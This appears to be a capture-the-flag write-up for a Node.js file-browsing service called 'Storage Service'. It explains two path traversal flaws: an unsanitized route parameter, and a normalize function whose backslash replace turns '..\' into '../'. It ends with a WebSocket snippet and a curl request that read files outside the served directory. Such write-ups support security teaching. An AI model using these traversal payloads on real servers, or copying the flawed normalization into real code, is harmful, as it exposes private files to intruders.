# Storage Service :::warning Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission. ::: ## Analysis It is a web application developed in nodejs language that implements file browsing function. ```javascript const express = require('express') const ws = require('ws') const app = express() const __DIR = '/usr/src/app' /* express */ app.set('views', __DIR + '/views'); app.set('view engine', 'ejs'); app.engine('html', require('ejs').renderFile); app.use(express.json()) app.use(express.urlencoded({ extended: true })) const index = require(__DIR + '/route/index') app.use(index) /* WebSocket */ const server = new ws.Server({port: 3000}) const connection = require(__DIR + '/route/ws') server.on('connection', connection) app.listen(4423) ``` In the provided source code, you can see that the web server and websocket server are operating using two ports 3000 and 4423, respectively. ## Vulnerability The first vulnerability exists in the web service implemented in the route/index.js file. ```javascript router.get('/*', (req, res) => { if (req.params[0] === '') { res.render('index') } else { const path = './files/' + req.params[0] if (!fs.existsSync(path)) { res.status(403).send('<h1>403 Not Found.</h1>') return } if (fs.lstatSync(path).isDirectory()) { res.status(301).redirect('/') return } res.set('Content-Type', mime.lookup(path)) res.sendFile(path, {root: '.'}) } }) module.exports = router ``` On line 5, the file path is read from the external input argument `req.params` variable. At this time, since there is no sanitize filter, a path traversal vulnerability occurs and files outside the `./files` path can be read. The second vulnerability exists in route/ws.js , which is a function of the websocket server. The module implements a function that returns a list of files based on external input. You can get a list of files in the TARGET_PATH path based on an external input in the form `{'type':'dir', 'path':'TARGET_PATH'}`. At this time, the external input goes through a normalization process to prevent path traversal attacks. ```javascript const normalize = path => { const startSlash = path.charAt(0) === '/' const parts = path.split('/') let res = [] for (let i=0; i < parts.length; i++) { if (!parts[i] || parts[i] === '.') continue if (parts[i] === '..') { if (res.length && res[res.length - 1] !== '..') res.pop() } else res.push(parts[i]) } res = res.join('/') if (!res && !startSlash) { res = '.' } if (res && path[path.length - 1] === '/') { res += '/' } return (startSlash ? '/' : '') + res.replace('\\', '/') } ``` However, there is a weakness that a path traversal attack is possible through ``..\`` -> ``../`` conversion due to the function of replacing the \ string with a / string in the line 22 code. ## Exploit ```javascript cli = new WebSocket('ws://target_server:3000') cli.onmessage = (msg) => console.log(JSON.parse(msg.data)) cli.send(JSON.stringify({'type':'dir', 'path':'..\\'})) ``` ``` curl http://target_server:4423/%2e%2e/FILE_NAME ``` It is possible to obtain a flag through the above two attacks, which each trigger two path traversal vulnerabilities. ## test